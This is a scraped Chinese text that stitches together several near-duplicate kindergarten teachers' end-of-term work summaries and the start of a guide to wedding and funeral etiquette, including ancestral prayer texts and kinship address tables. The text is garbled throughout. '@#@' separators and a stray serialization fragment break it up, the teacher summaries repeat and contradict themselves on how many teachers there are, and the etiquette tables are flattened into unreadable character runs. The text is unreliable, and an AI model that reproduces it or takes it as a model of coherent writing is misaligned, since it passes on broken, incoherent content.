@#@晨检时注意观察幼儿脸色，幼儿有不舒服现象及时通知家长，因小班幼儿还不能及时的表达需要，日常生活中注意观察幼儿脸色及表情及时了解她的要求。

@#@特别在幼儿吃饭方面，我们两位老师更是细心照顾，不怕麻烦，引导幼儿吃好吃饱。

@#@半年来，我班幼儿基本上都学会了独立吃午饭，养成了良好的进餐习惯。

@#@@#@　　常规教育@#@　　我们十分重视孩子常规的培养。

@#@在幼儿入园后不久我们进行了一日常规教育，培养了幼儿良好的生活和卫生习惯。

@#@如：

@#@入厕、洗手喝水、吃饭、午睡等都有秩序的进行。

@#@此外，我们还教幼儿学会做一些力所能及的事，自己的事情自己做，由于我们两位老师统一要求、统一管理，我班的幼儿使幼儿从小就养成良好的行为习惯。

@#@@#@　　四、家长工作@#@　　在幼儿教育中，家庭教育占有非常重要的地位。

@#@一个好的班级离不开老师们的密切配合，更离不开家长们的大力支持。

@#@为此，我班把家园配合工作作为重点来抓。

@#@通过电访方式，让家长们了解幼儿园的情况。

@#@在早晚接待中，及时与家长沟通幼儿情况。

@#@发现问题及时与家长沟通。

@#@在家教园地中，把家长们最关心的问题及时解答。

@#@本学期我们还举办了家长会，进行了“幼儿教学成果展示”，让家长了解幼儿在本学期所学的知识。

@#@@#@　　在这个学期中，我班两位老师尽心尽力，较圆满完成了各项工作，尽管也存在一些不足，在新的学期中我们会更加努力，争取把工作做得更好，取得更大的进步!

@#@@#@幼儿园小班教师工作总结XX小班教师工作总结

（2）　　时间飞逝，转眼一学期已经过去了。

@#@在这一年中，我们班的两位老师，以团结协作、共同努力的良好风气，共同做好班内的各项工作。

@#@具体体现在以下几点：

@#@@#@　　一、班级情况@#@　　我班幼儿大部分都是刚入园的新生，在幼儿入园前我们班两位老师进行了家访，在家访中，我们对每一个幼儿个性特征、兴趣、爱好和生活自理能力及各个方面都进行了调查，使幼儿还没来园，我们就对他们的情况有了一个了解，为幼儿入园后在很短的时间内就适应幼儿园的生活奠定了良好的基础。

@#@@#@　　幼儿入园以后，针对小班幼儿的特点，为了缩短幼儿的分离焦虑，我们班三位老师齐心协力，和孩子一起做游戏、玩耍。

@#@在游戏：

@#@我是小司机、大家都是好朋友等活动，引导幼儿尽快适应幼儿园的生活。

@#@同时在家教园地中，指导家长做好幼儿的入园的各项工作，使家长们能够在家也帮助幼儿尽量缩短分离焦虑，通过一系列活动我班幼儿很快适应了幼儿园的生活。

@#@家长们也都放心的把幼儿放在这里。

@#@@#@　　本学期刚开始，幼儿年龄小，走路不稳，情绪波动大，每次到了午睡时间，我们都忙得不可开交，两位老师任劳任怨，付出更多的爱心和耐心去安抚每个幼儿的心，让她们逐渐适应幼儿园的午睡环境。

@#@平时，我们以大局为重、积极工作、不分彼此，处处以幼儿园的工作为重，从不计较个人的得失。

@#@尹老师的腰不太好，家里的母亲卧床不起，孩子正在读高中，家里的事情全落在她一个人的肩上，但她还是兢兢业业、工作抢着干，从不叫苦叫累。

@#@王老师每天早早到园把教室内外打扫的干干净净，尽职尽则的把工作做好。

@#@正是由于老师这种高度负责的责任心及奉献精神，半年来，我班的孩子快乐茁壮地成长着。

@#@@#@　　二、教育教学工作@#@　　1、本学期，我和尹老师负责教学工作，学期初，我们根据大纲的要求和小班幼儿的年龄特点，制定了一系列切实可行的教育教学计划。

@#@@#@　　幼儿园是幼儿生长学习的场所，幼儿园应为幼儿提供健康、丰富的生活和活动环境，满足他们多方面的需要，使他们在快乐的童年生活中获得有易于身心发展的经验。

@#@围绕这一纲要精神，我们开展了一系列活动，上学期针对幼儿自我服务意识不强的特点，开展了自己的事情自己做，大大提高了幼儿的自我保护能力。

@#@在教育教学活动中，我和施老师紧密结合、互相沟通，针对我班幼儿的情况，在教学活动和日常生活中进行安全教育、文明礼貌教育、团结友爱教育，使幼儿形成了良好的行为习惯。

@#@在和家长交流的过程中，针对家长们的意见并结合我班的实际情况，我们班推出了幼儿讲故事、幼儿英语律动等活动，大大提高了我班幼儿的语言表达能力，激发幼儿对英语律动的兴趣，得到了家长们的好评和关注。

@#@通过一系列的活动我班的幼儿在各方面都有了明显的进步，家长们也都很满意。

@#@@#@　　2、教室环境的布置@#@　　环境是为教育教学活动服务的。

@#@根据教学活动的需要和本班的特点，老师们选择了一些有特点的装饰布置，同时为节省纸张，还利用一些废旧物品。

@#@在布置中，我们让孩子们参与到其中，让他们动手去制作。

@#@@#@　　三、卫生保健及常规教育@#@　　1、卫生保健@#@　　我们与全脱班共用一个教室，给卫生打扫工作带来很多麻烦，尹老师尽心尽责地进行卫生保健工作，她严格按照园里的要求执行各类物品的消毒工作，踏踏实实从不因全脱班给我们带来的不便而影响工作。

@#@让幼儿生活在一个整洁、舒适的环境中。

@#@因为我班幼儿刚入园，所以我班的卫生保健工作一向也较为细致。

@#@我们两位老师每天都兢兢业业、细心、耐心的观察记录。

@#@如：

@#@晨检时注意观察幼儿脸色，幼儿有不舒服现象及时通知家长，因小班幼儿还不能及时的表达需要，日常生活中注意观察幼儿脸色及表情及时了解她的要求。

@#@特别在幼儿吃饭方面，我们三位老师更是细心照顾，不怕麻烦，引导幼儿吃好吃饱。

@#@半年来，我班幼儿基本上都学会了独立吃午饭，养成了良好的进餐习惯。

@#@在幼儿喝水方面，家长们也比较关注，我们开展了“给汽车加油”的活动，每天保证幼儿喝够三杯水。

@#@让幼儿明白口渴时应及时补充水分。

@#@@#@　　2、常规教育@#@　　我们十分重视孩子常规的培养。

@#@在幼儿入园后不久我们进行了一日常规教育，培养了幼儿良好的生活和卫生习惯。

@#@如：

@#@入厕、洗手喝水、吃饭、午睡等都有秩序的进行。

@#@此外，我们还教幼儿学会做一些力所能及的事，自己的事情自己做，由于我们三位老师统一要求、统一管理，我班的幼儿使幼儿从小就养成良好的行为习惯。

@#@@#@　　四、家长工作在幼儿教育中，家庭教育占有非常重要的地位。

@#@一个好的班级离不开老师们的密切配合，更离不开家长们的大力支持。

@#@为此，我班把家园配合工作作为重点来抓。

@#@通过家访、家园联系册、电话等方式，让家长们了解幼儿园的情况。

@#@在早晚接待中，及时与家长沟通幼儿情况。

@#@发现问题及时与家长沟通。

@#@在家教园地中，把家长们最关心的问题及时解答，得到了家长的好评。

@#@@#@　　在这个学期中，我班两位老师尽心尽力，较圆满完成了各项工作，尽管也存在一些不足，在新的学期中我们会更加努力，争取把工作做得更好，取得更大的进步！

@#@@#@　　（盐窝镇中新幼儿园陈宝美）@#@幼儿园小班教师学期工作总结XX小班教师工作总结（3）　　一、班级情况分析@#@　　本学期我班共有孩子40名，其中男孩15名，女孩25名。

@#@他们来自不同的家庭，生活行为习惯各不相同，大多数孩子在家受家人宠爱，以自己为中心，对父母或祖辈的依赖性较强，少数孩子自理能力较强。

@#@在和孩子们的接触和交谈中我发现孩子们的自理能力和行为习惯方面存在很大差异，如：

@#@有的不会自己吃饭、不会入厕；@#@有的个性强，形成了许多坏习惯，时常与同伴之间争夺玩具等；@#@有的说话不清楚……也有像路契娅、张雅斯、徐顺楠这样自理能力强的孩子。

@#@但是，新生的常规意识几乎没有，老生的行为习惯较差，为了养成良好的行为习惯，形成良好的常规意识，因此我们老师在日常的工作中，采用多指导、多鼓励，多示范，严格要求孩子，使孩子在自理方面都得到了一定的提高，特别是在吃饭方面，经过一学期的指导，大部分孩子都能独立进餐；@#@并且掌握了穿、脱衣服的正确方法，学会了如何叠放衣物等等。

@#@@#@　　二、发扬团队精神，优质完成班务；@#@@#@　　

（一）、情况分析@#@　　本学期的重点目标是：

@#@@#@　　1．培养基本的自我生活服务能力；@#@像班里的刘奕刚来时衣服不会穿，午睡时连被子也懒得给自己盖起来，一直跟老师说：

@#@“我不会”，在平日在，我们就一点一点地教他如何脱穿衣服，脱穿裤子，认识鞋子的正反，要求他，现在他自己能穿好裤子，正确穿鞋了。

@#@@#@　　2．学会使用普通话与他人交谈，愿意和老师、同伴交流；@#@班里的有些外地人，与人讲话口音很重，特别是麻兆乐，刚来时他的话很困扰我们，听不懂，不能理解他的意思，而他对普通话也很陌生，在以后的日子里，就会给他特别辅导，每天引导他练习几句，慢慢地他的话我们开始能听懂了，交流也多了，感情自然也好了。

@#@@#@　　孩子们的各方面的发展：

@#@@#@　　1．新生适应了幼儿园的环境，喜欢上幼儿园，并能坚持每天上幼儿园园。

@#@记得路奇刚来园时哭了两个星期，每天来园都拉着奶奶的衣服不放，任我们怎么劝也无动于衷，后来在做游戏时，我积极鼓励他参加，并细心地指导他，让他乐意跟小朋友一起玩，交好朋友，感受集体生活的快乐，现在每天他是第一个来园的，而且笑着喊“老师早”。

@#@@#@　　2．能独立使用调羹吃完自己的一份饭菜、穿脱衣服、大小便（大便会叫老师帮忙擦干净），愿意做自己力所能及的事情；@#@@#@　　3．初步养成了较好的饮食习惯、个人卫生习惯和睡眠习惯，初步懂得遵守各项常规；@#@在礼貌方面，幼儿的表现非常好，“谢谢”“不用谢”“对不起”“没关系”他们都会恰当运用。

@#@玩耍时，我经常听到他们说：

@#@我们是好朋友,我们一起玩。

@#@@#@　　4．知道说话、待人接物要有礼貌，会说一些日常礼貌用语；@#@愿意和同伴友好相处，一起分享自己的玩具；@#@由于幼儿大都是独生子女，所以常会发生争抢玩具的现象，这时我们鼓励孩子一起玩，或是轮流玩，一学期下来，他们会自己想办法来解决，先给谁玩，再给谁玩，大家都不去抢了。

@#@@#@　　5．学习和初步习惯了使用普通话交谈，愿意把自己的想法和需要说出来，能回答别人的提问；@#@@#@　　6.认识了自己，喜欢在老师的引导下尝试探索和认识各种事物。

@#@@#@　　7.喜欢玩游戏，并懂得要遵守游戏规则。

@#@对角色游戏感兴趣，知道扮演角色来进行游戏。

@#@小班幼儿对讲故事，儿歌特别感兴趣，我们经常会引导幼儿来表演一些简单的故事，像“拔萝卜”，“小熊请客”，“小兔乖乖”等表现得都很棒。

@#@@#@　　本学期工作虽然取得了成绩，但还有不足之处：

@#@@#@　　1、部分幼儿用餐时的卫生情况较差，桌上、地板上掉下的饭粒较多；@#@个别幼儿如陈妍、俞默等吃饭动作较慢，常有剩菜剩饭的现象。

@#@@#@　　2、幼儿迟到现象较多，参加晨练的孩子数量少。

@#@@#@　　3、班内部分小朋友如陈浩强、董夏冰等课堂常规较差，常有开小差、不认真学习的现象。

@#@@#@　　总结过去，展望未来。

@#@在新的学期，我们班上的老师会更加团结，更加紧密，建立良好的班风，使我们的孩子更快乐，我们的家长更放心。

@#@让我们携手，共同托起明天的太阳。

@#@@#@幼儿园小班教师个人工作总结范文XX小班教师工作总结（4）　　本文由小编辑收集整理，提供一篇幼儿园小班教师个人工作总结范文，为您提供帮助！

@#@@#@　　时间飞逝，转眼一学期已经过去了。

@#@在这一年中，我们班的两位老师，以团结协作、共同努力的良好风气，共同做好班内的各项工作。

@#@具体体现在以下几点：

@#@@#@　　一、班级情况@#@　　我班幼儿大部分都是刚入园的新生，在幼儿入园前我们班两位老师进行了家访，在家访中，我们对每一个幼儿个性特征、兴趣、爱好和生活自理能力及各个方面都进行了调查，使幼儿还没来园，我们就对他们的情况有了一个了解，为幼儿入园后在很短的时间内就适应幼儿园的生活奠定了良好的基础。

@#@@#@　　幼儿入园以后，针对小班幼儿的特点，为了缩短幼儿的分离焦虑，我们班三位老师齐心协力，和孩子一起做游戏、玩耍。

@#@在游戏：

@#@我是小司机、大家都是好朋友等活动，引导幼儿尽快适应幼儿园的生活。

@#@同时在家教园地中，指导家长做好幼儿的入园的各项工作，使家长们能够在家也帮助幼儿尽量缩短分离焦虑，通过一系列活动我班幼儿很快适应了幼儿园的生活。

@#@家长们也都放心的把幼儿放在这里。

@#@@#@　　本学期刚开始，幼儿年龄小，走路不稳，情绪波动大，每次到了午睡时间，我们都忙得不可开交，两位老师任劳任怨，付出更多的爱心和耐心去安抚每个幼儿的心，让她们逐渐适应幼儿园的午睡环境。

@#@平时，我们以大局为重、积极工作、不分彼此，处处以幼儿园的工作为重，从不计较个人的得失。

@#@尹老师的腰不太好，家里的母亲卧床不起，孩子正在读高中，家里的事情全落在她一个人的肩上，但她还是兢兢业业、工作抢着干，从不叫苦叫累。

@#@王老师每天早早到园把教室内外打扫的干干净净，尽职尽则的把工作做好。

@#@正是由于老师这种高度负责的责任心及奉献精神，半年来，我班的孩子快乐茁壮地成长着。

@#@@#@　　二、教育教学工作@#@　　1、本学期，我和尹老师负责教学工作，学期初，我们根据大纲的要求和小班幼儿的年龄特点，制定了一系列切实可行的教育教学计划。

@#@@#@　　幼儿园是幼儿生长学习的场所，幼儿园应为幼儿提供健康、丰富的生活和活动环境，满足他们多方面的需要，使他们在快乐的童年生活中获得有易于身心发展的经验。

@#@围绕这一纲要精神，我们开展了一系列活动，上学期针对幼儿自我服务意识不强的特点，开展了自己的事情自己做，大大提高了幼儿的自我保护能力。

@#@在教育教学活动中，我和施老师紧密结合、互相沟通，针对我班幼儿的情况，在教学活动和日常生活中进行安全教育、文明礼貌教育、团结友爱教育，使幼儿形成了良好的行为习惯。

@#@在和家长交流的过程中，针对家长们的意见并结合我班的实际情况，我们班推出了幼儿讲故事、幼儿英语律动等活动，大大提高了我班幼儿的语言表达能力，激发幼儿对英语律动的兴趣，得到了家长们的好评和关注。

@#@通过一系列的活动我班的幼儿在各方面都有了明显的进步，家长们也都很满意。

@#@@#@　　2、教室环境的布置@#@　　环境是为教育教学活动服务的。

@#@根据教学活动的需要和本班的特点，老师们选择了一些有特点的装饰布置，同时为节省纸张，还利用一些废旧物品。

@#@在布置中，我们让孩子们参与到其中，让他们动手去制作。

@#@@#@　　三、卫生保健及常规教育@#@　　1、卫生保健@#@　　我们与全脱班共用一个教室，给卫生打扫工作带来很多麻烦，尹老师尽心尽责地进行卫生保健工作，她严格按照园里的要求执行各类物品的消毒工作，踏踏实实从不因全脱班给我们带来的不便而影响工作。

@#@让幼儿生活在一个整洁、舒适的环境中。

@#@因为我班幼儿刚入园，所以我班的卫生保健工作一向也较为细致。

@#@我们两位老师每天都兢兢业业、细心、耐心的观察记录。

@#@如：

@#@晨检时注意观察幼儿脸色，幼儿有不舒服现象及时通知家长，因小班幼儿还不能及时的表达需要，日常生活中注意观察幼儿脸色及表情及时了解她的要求。

@#@特别在幼儿吃饭方面，我们三位老师更是细心照顾，不怕麻烦，引导幼儿吃好吃饱。

@#@半年来，我班幼儿基本上都学会了独立吃午饭，养成了良好的进餐习惯。

@#@在幼儿喝水方面，家长们也比较关注，我们开展了“给汽车加油”的活动，每天保证幼儿喝够三杯水。

@#@让幼儿明白口渴时应及时补充水分。

@#@@#@　　2、常规教育@#@　　我们十分重视孩子常规的培养。

@#@在幼儿入园后不久我们进行了一日常规教育，培养了幼儿良好的生活和卫生习惯。

@#@如：

@#@入厕、洗手喝水、吃饭、午睡等都有秩序的进行。

@#@此外，我们还教幼儿学会做一些力所能及的事，自己的事情自己做，由于我们三位老师统一要求、统一管理，我班的幼儿使幼儿从小就养成良好的行为习惯。

@#@@#@　　四、家长工作@#@　　在幼儿教育中，家庭教育占有非常重要的地位。

@#@一个好的班级离不开老师们的密切配合，更离不开家长们的大力支持。

@#@为此，我班把家园配合工作作为重点来抓。

@#@通过家访、家园联系册、电话等方式，让家长们了解幼儿园的情况。

@#@在早晚接待中，及时与家长沟通幼儿情况。

@#@发现问题及时与家长沟通。

@#@在家教园地中，把家长们最关心的问题及时解答，得到了家长的好评。

@#@@#@　　在这个学期中，我班两位老师尽心尽力，较圆满完成了各项工作，尽管也存在一些不足，在新的学期中我们会更加努力，争取把工作做得更好，取得更大的进步！

@#@@#@　　@#@";i:

9;s:

24745:

"红白喜事礼仪大全之11红白喜事常识@#@目录@#@ @#@@#@第一章红喜事@#@一、---------------------------------------------婚礼@#@二、---------------------------------------------发庚@#@三、-------------------------------------------庙见文@#@四、-------------------------------------嫁女辞祖祝文@#@五、---------------------------女儿出嫁女方写新婚祝词@#@六、-----------------------------------------请客文帖@#@七、-----------------------------------------十封全书@#@ @#@@#@第二章白喜事@#@一、---------------------------------------------丧礼@#@二、---------------------------------------------孝服@#@三、-----------------------------------------写讣闻例@#@四、-------------------------------------丧服名称款式@#@五、-----------------------------------------新式讣闻@#@六、-------------------------------------如何制作报闻@#@七、---------------------------------------白事请柬例@#@八、-------------------------------------------祭祀礼@#@九、-------------------------------包笼标签的写法举例@#@十、-----------------------------------------丧事联类@#@十一、-------------------------------痛文祭文写法举例@#@ @#@@#@第一章红喜事@#@（包括婚娶寿喜筵）@#@一、婚礼@#@良缘由夙缔，佳偶自天成。

@#@（夙，早也；@#@缔，结也。

@#@佳，美也；@#@偶，配也）蹇修与柯人，皆是媒妁之号；@#@冰人与掌判，悉是传媒之人。

@#@礼须六礼之周，好合二姓之好。

@#@（六礼即纳采、问名、纳吉、纳徵、请期、亲迎。

@#@后朱子省为三礼：

@#@纳采、纳币、亲迎）@#@二、发庚@#@议婚之初，女家用红纸或红绸书女庚，外用红封套粘签，签上书庚缄两字，俾媒氏赉至男家，俗谓之发红庚。

@#@红书上只书八个字，如遇十一月则书葭月，十二月则书腊月，二十日省书廿，如按四柱书庚最为合度。

@#@附注：

@#@红庚格式@#@红庚式 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@红绿鸾书式@#@ @#@ @#@坤 @#@ @#@造@#@ @#@ @#@ @#@ @#@某@#@ @#@ @#@ @#@ @#@年@#@ @#@ @#@ @#@ @#@某@#@ @#@ @#@ @#@ @#@月@#@ @#@ @#@ @#@ @#@某@#@ @#@ @#@ @#@ @#@日@#@ @#@ @#@ @#@ @#@某@#@ @#@ @#@ @#@ @#@时@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@ @#@@#@设 @#@ @#@帨 @#@ @#@弧 @#@ @#@悬@#@ @#@某 @#@ @#@大 @#@ @#@ @#@ @#@某@#@ @#@年 @#@ @#@冰 @#@ @#@ @#@ @#@年@#@ @#@某 @#@ @#@人 @#@ @#@ @#@ @#@某@#@ @#@月 @#@ @#@ @#@ @#@O @#@ @#@ @#@月@#@ @#@某 @#@ @#@ @#@O @#@ @#@ @#@某@#@ @#@日 @#@ @#@ @#@ @#@O @#@ @#@ @#@ @#@日@#@ @#@某 @#@ @#@ @#@传 @#@ @#@ @#@某@#@ @#@时 @#@ @#@ @#@书 @#@ @#@时@#@ @#@@#@ @#@@#@鸾@#@书@#@︵@#@凤@#@缄@#@︶@#@ @#@@#@ @#@@#@ @#@@#@封套式 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@红绿鸾书封套式@#@ @#@ @#@ @#@庚@#@ @#@@#@ @#@@#@ @#@@#@ @#@ @#@ @#@缄@#@三、庙见文:

@#@（例文）@#@维:

@#@公元OOOO年岁次OO,O月O日OO堂下裔孙OO,谨具清酌茶果之仪昭告于OO堂上一脉祖先之神主位前曰：

@#@@#@伏以诗首关雎，王化听起，礼重婚姻，嗣孙听系。

@#@谒孙之OO配于OO堂上OO之淑女OO，今始完婚，敢谒祖先，伏乞万灵，佑启后人，既而昌，复而炽，顾宜室以宜家。

@#@谨告。

@#@@#@四、嫁女辞祖祝文@#@例一维公元OOO年农历OO岁仲冬月O浣之O日谨以香烛果礼不腆之仪，敢昭告于本宗OO堂上一脉先祖考妣之位前而祝曰：

@#@一对花烛插喜堂，锦旗艳艳放毫光，今日紫珠来点烛，辞别父母结成双。

@#@今有次子OO之女于归OO郡O氏为室，兹值良辰，用行告祖仪惟期四德，毋违门楣，自比三从不悖，阃范流辉，惟冀宗功，伏期鉴临，俯期福庇，两姓既合，永调琴瑟，一言谨告，万代荣昌。

@#@谨祝！

@#@@#@例二伏以桃花妁妁阐于归之预兆，其叶蓁蓁定佳期之已到，良缘夙缔于谷旦，佳偶天成于良辰，佐夫挑灯同咏寒窗诗句，鸡鸣戒旦勉君步励长征，时惟仲冬月O浣之O日预兆百年，裔孙OO以O女OO郡O氏为室，惟冀宗功庇荫，祖德流芳，俾使孙女昌达永祈百年之好，喜幸与子偕老图共富贵之花，琴瑟之友，及第捷报，一言谨告，万福攸同。

@#@谨祝！

@#@@#@例三小女谨择今日，全嗣新妆。

@#@拜离祖先，揖别爹娘。

@#@惟冀列宗。

@#@赐我祯祥。

@#@前程远大，幸福无疆。

@#@珠联璧合，夙翥鸾翔。

@#@青梅竹马，琴鼓瑟张。

@#@百年偕老，矢志永诚。

@#@凤毛麟角，世泽绵长。

@#@蝉联勿替，万代炽昌。

@#@谨祝！

@#@@#@五、女儿出嫁女方写新婚祝词@#@其一：

@#@亲妇邹姓，新郎欧阳姓@#@公元OO年农历OO随（上、中、下）浣之O日毂旦@#@妇邹OOO谨随@#@新谨具花烛不腆之仪恭谒于@#@婿欧阳OO之后@#@@#@考@#@本宗渤海堂上欧阳氏一脉先祖之神主位前缀词而祝曰：

@#@@#@妣@#@伏以国运昌隆，邦交新谊。

@#@万民腾跃，四海澄清。

@#@市场经济繁荣，群众生活富裕。

@#@德政颁于燕市，新婚缔尔凤台。

@#@相宜携手之时，永结同心之后。

@#@龙舟共济，鸳侣情钟。

@#@洪维宗功永耀，祖德恒芳。

@#@翰墨流香仿九成佳体，文章善美传八大名家。

@#@凤凰池上沐思波，龙虎榜中标名姓。

@#@仰先贤以卫社稷，尔后启而功科书。

@#@斯为先代优风，可作后尾模范。

@#@@#@妇也范阳弱质，昌水庸姿。

@#@渊沅轫于浊水，派序衍于昌江。

@#@养中和万古之春宣扬学理，居君子九人之列树立楷模。

@#@义愤元戎誓为大汉之族，忠勤宋室不出强胡之家。

@#@裁制少精愿学先进，文化不堪志在挑灯。

@#@每在勤学之心，常注承欢之愿。

@#@和谐妯娌法尚郝家，款洽亲朋风规陶母。

@#@作风宜乎正派切戒浮夸，境界别乎灵荣履行实践。

@#@情浓凤偶惜分阴而策首途，楫击龙舟挥大鞭尔驰后进。

@#@乘长风以破万里鹏程，耻浩海而扬波百年鱼水。

@#@雪飘柳絮愧吟道韫之诗，额点梅桩灵拟寿阳之艳。

@#@盼翁嫜多施教育接受虚心，期夫婿广慕时风互相挽手。

@#@方禄芹于洋水，正流行于河洲。

@#@@#@维冀列祖潜移，诸宗默佑。

@#@锡无疆之弘嘏，体谒见之片诚。

@#@嫁备世妆奁家陶公之诗，胸储学识质乏徐惠之才。

@#@持世洁身，学诗达意。

@#@专情专戚开放自由之花，有作有为结成平等之果。

@#@虔心陈枣粟谒尽侬杯，洗手作羹汤烹诸姑牲。

@#@温存表现于态度，俭朴灌输于家室。

@#@抚念今朝已树凌霄之志，追思往日殊抱慊多之心。

@#@谨慎谦虚实律己之佳果，和平礼貌为待人之常纲。

@#@看此日之莺娇雾吟凤舞，知他年之鹏举月桂云梯。

@#@同心同德，宜家宜室。

@#@谨祝@#@其二：

@#@新妇欧阳姓，新郎邹姓@#@时维@#@中华人民共和国公元OO年农历OO岁O月O日（上、中、下）浣之O日吉旦@#@妇欧阳敬随@#@新谨以@#@婿邹君0哥之后@#@花烛枣粟之仪敬谒于@#@考@#@范阳堂上邹氏一脉先祖之神主位前而祝曰：

@#@@#@妣@#@伏以莺歌燕舞，国泰民安。

@#@梓里春光红妁妁，神州喜气乐陶陶。

@#@欢庆送佳期玉宇喜看金雀展，乐人谐盛事画堂欣听彩鸯歌。

@#@歌咏桃夭新婚祝衍庆，曲弹义普秦晋以联欢。

@#@@#@洪维列祖列宗，东鲁名家南阳世族，名魁雁塔宴欢琼林。

@#@上疏直言真是人臣风度，遗书曲谕洵为良友箴规。

@#@擢弟形墀吹律而春回寒谷，蜚声祝范上书而客重玉门。

@#@询先祖之令名无计，超后代之英才出群。

@#@@#@妇也馀山弱质，渤海庸姿。

@#@小女于归望攀贵府，幼龄习俗出生寒门。

@#@尊时代婚姻自由结伴侣，论庭艰状况俭妇配佳郎。

@#@既愧家中少娴母训，又愧学校欠蒙师资。

@#@知识浅薄要以虚心请教，夫妻友爱理所互学为荣。

@#@睦亲团邻恭接以敬，奉尊待长行孝为先。

@#@赤绳联并蒂之姻义缘我过，伉俪结同心之缕佳偶天成。

@#@白玉种蓝田千年好合，红丝牵绣纬万载良缘。

@#@喜今日玉烛生辉螽斯之衍庆，贺他年银灯结彩瓜瓞绵绵。

@#@谨祝@#@六、请客文帖@#@一、亲友称呼@#@一@#@名@#@分@#@外@#@祖@#@父@#@母@#@姑@#@外@#@祖@#@姨@#@外@#@祖@#@舅@#@外@#@祖@#@表@#@外@#@祖@#@妻@#@外@#@祖@#@舅@#@祖@#@父@#@母@#@妻@#@舅@#@祖@#@妻@#@祖@#@父@#@母@#@祖@#@姑@#@丈@#@祖@#@姨@#@丈@#@祖@#@ @#@@#@辈@#@ @#@@#@类@#@称@#@ @#@@#@呼@#@某@#@府@#@O@#@公老@#@外外@#@公母@#@大孺@#@人@#@某@#@府@#@某@#@外@#@祖@#@姑@#@丈母@#@某@#@府@#@某@#@姨@#@外@#@祖@#@丈母@#@某@#@府@#@某@#@翁@#@舅@#@外@#@祖@#@某@#@府@#@O@#@O@#@表@#@外@#@祖@#@某@#@府@#@O@#@O@#@外@#@太@#@翁@#@某@#@府@#@O@#@O@#@舅@#@祖@#@父母@#@某@#@府@#@O@#@O@#@舅@#@太@#@翁@#@某@#@府@#@O@#@O@#@尊@#@太@#@翁母@#@某@#@府@#@O@#@O@#@祖@#@姑@#@丈@#@某@#@府@#@O@#@O@#@尊@#@姨@#@公@#@落款称谓@#@忝@#@外@#@孙@#@男@#@眷@#@外@#@孙@#@姻@#@外@#@孙@#@眷@#@外@#@孙@#@表@#@外@#@孙@#@外@#@孙@#@婿@#@忝@#@甥@#@孙@#@甥@#@孙@#@婿@#@忝@#@孙@#@婿@#@眷@#@侄@#@孙@#@忝@#@甥@#@孙@#@附@#@ @#@@#@注@#@母@#@舅@#@之@#@姑@#@夫@#@母@#@舅@#@之@#@姨@#@夫@#@母@#@舅@#@之@#@舅@#@母@#@舅@#@之@#@岳父@#@父@#@之@#@母@#@舅@#@又称岳祖父母@#@祖之姨丈妹丈@#@ @#@@#@祖@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@ @#@@#@分@#@表@#@伯@#@叔@#@祖@#@外@#@伯@#@叔@#@祖@#@姑@#@丈@#@之@#@父@#@伯@#@叔@#@之@#@岳@#@父@#@姨@#@丈@#@之@#@父@#@妻@#@之@#@伯@#@叔@#@祖@#@妻@#@之@#@外@#@伯@#@叔@#@祖@#@父@#@之@#@干@#@父@#@母@#@之@#@姑@#@父@#@母@#@之@#@舅@#@父@#@母@#@之@#@姨@#@父@#@母@#@之@#@继@#@父@#@称@#@ @#@@#@呼@#@某@#@府@#@O@#@O@#@表@#@伯@#@叔@#@祖@#@某@#@府@#@O@#@O@#@外@#@伯@#@叔@#@祖@#@某@#@府@#@O@#@O@#@尊@#@太@#@翁@#@某@#@府@#@O@#@O@#@尊@#@姻@#@翁@#@某@#@府@#@O@#@O@#@尊@#@姨@#@父@#@某@#@府@#@O@#@O@#@尊@#@太@#@翁@#@某@#@府@#@O@#@O@#@外@#@太@#@翁@#@某@#@府@#@O@#@O@#@干@#@爹@#@某@#@府@#@O@#@O@#@姑@#@外@#@公@#@某@#@府@#@O@#@O@#@舅@#@外@#@公@#@某@#@府@#@O@#@O@#@姨@#@外@#@公@#@某@#@府@#@O@#@O@#@外@#@公@#@落款称谓@#@表@#@侄@#@孙@#@外@#@甥@#@孙@#@眷@#@晚@#@孙@#@眷@#@晚@#@孙@#@眷@#@晚@#@孙@#@侄@#@孙@#@婿@#@外@#@孙@#@婿@#@愚@#@干@#@孙@#@内@#@侄@#@孙@#@外@#@甥@#@孙@#@姨@#@侄@#@孙@#@忝@#@外@#@孙@#@附@#@注@#@ @#@@#@二@#@ @#@@#@父@#@ @#@@#@辈@#@ @#@@#@类@#@名@#@ @#@@#@分@#@母@#@舅@#@岳@#@父@#@母@#@妻@#@伯@#@叔@#@父@#@妻@#@母@#@舅@#@妻@#@姨@#@之@#@夫@#@妻@#@姑@#@之@#@父@#@姑@#@之@#@父@#@姨@#@之@#@夫@#@姻@#@伯@#@叔@#@亲@#@家@#@之@#@姑@#@丈@#@亲@#@家@#@之@#@姨@#@丈@#@称@#@ @#@@#@呼@#@某@#@府@#@O@#@O@#@舅@#@父@#@某@#@府@#@O@#@O@#@岳@#@父@#@母@#@某@#@府@#@O@#@O@#@伯@#@叔@#@岳@#@父@#@母@#@某@#@府@#@O@#@O@#@尊@#@舅@#@翁@#@某@#@府@#@O@#@O@#@尊@#@姨@#@翁@#@某@#@府@#@O@#@O@#@尊@#@姑@#@翁@#@某@#@府@#@O@#@O@#@尊@#@姑@#@夫@#@某@#@府@#@O@#@O@#@尊@#@姨@#@夫@#@某@#@府@#@O@#@O@#@姻@#@伯@#@叔@#@某@#@府@#@O@#@O@#@姑@#@姻@#@伯@#@某@#@府@#@O@#@O@#@姨@#@姻@#@伯@#@落款称谓@#@愚@#@外@#@甥@#@忝@#@子@#@婿@#@愚@#@侄@#@婿@#@忝@#@甥@#@婿@#@愚@#@甥@#@婿@#@姻@#@侄@#@婿@#@愚@#@内@#@侄@#@愚@#@姨@#@侄@#@姻@#@愚@#@侄@#@眷@#@晚@#@生@#@眷@#@晚@#@生@#@附@#@ @#@@#@注@#@又可称外舅外姑@#@系母之姊丈与妹丈@#@亲家之父与父之亲家@#@姊丈妹丈姑丈同@#@二@#@ @#@@#@父@#@ @#@@#@辈@#@ 